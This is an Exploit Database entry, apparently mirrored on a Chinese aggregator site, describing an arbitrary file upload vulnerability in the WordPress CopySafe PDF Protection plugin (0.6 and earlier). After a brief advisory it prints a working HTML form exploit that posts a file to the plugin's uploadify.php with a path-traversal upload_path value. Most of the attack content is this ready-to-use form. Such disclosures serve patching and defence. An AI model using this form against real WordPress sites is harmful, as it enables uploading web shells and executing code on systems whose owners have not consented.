WordPress Plugin CopySafe PDF Protection – Arbitrary File Upload

• Exploit Database
• 87 阅读

• 作者： Jagriti Sahu
  日期： 2014-07-14
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/39254/

• source: https://www.securityfocus.com/bid/68656/info
  
  The CopySafe PDF Protection plugin for WordPress is prone to a vulnerability that lets attackers upload arbitrary files.
  
  An attacker may leverage this issue to upload arbitrary files to the affected computer; this can result in arbitrary code execution within the context of the vulnerable application.
  
  CopySafe PDF Protection 0.6 and prior are vulnerable. 
  
  <form 
  action="http://www.example.com/wp-content/plugins/wp-copysafe-pdf/lib/uploadify/uploadify.php" 
  method="post"
  enctype="multipart/form-data">
  <label for="file">Filename:</label>
  <input type="file" name="wpcsp_file" ><br>
  <input type=text name="upload_path" value="../../../../uploads/">
  <input type="submit" name="submit" value="Submit">
  </form>
  

  Python

  Copy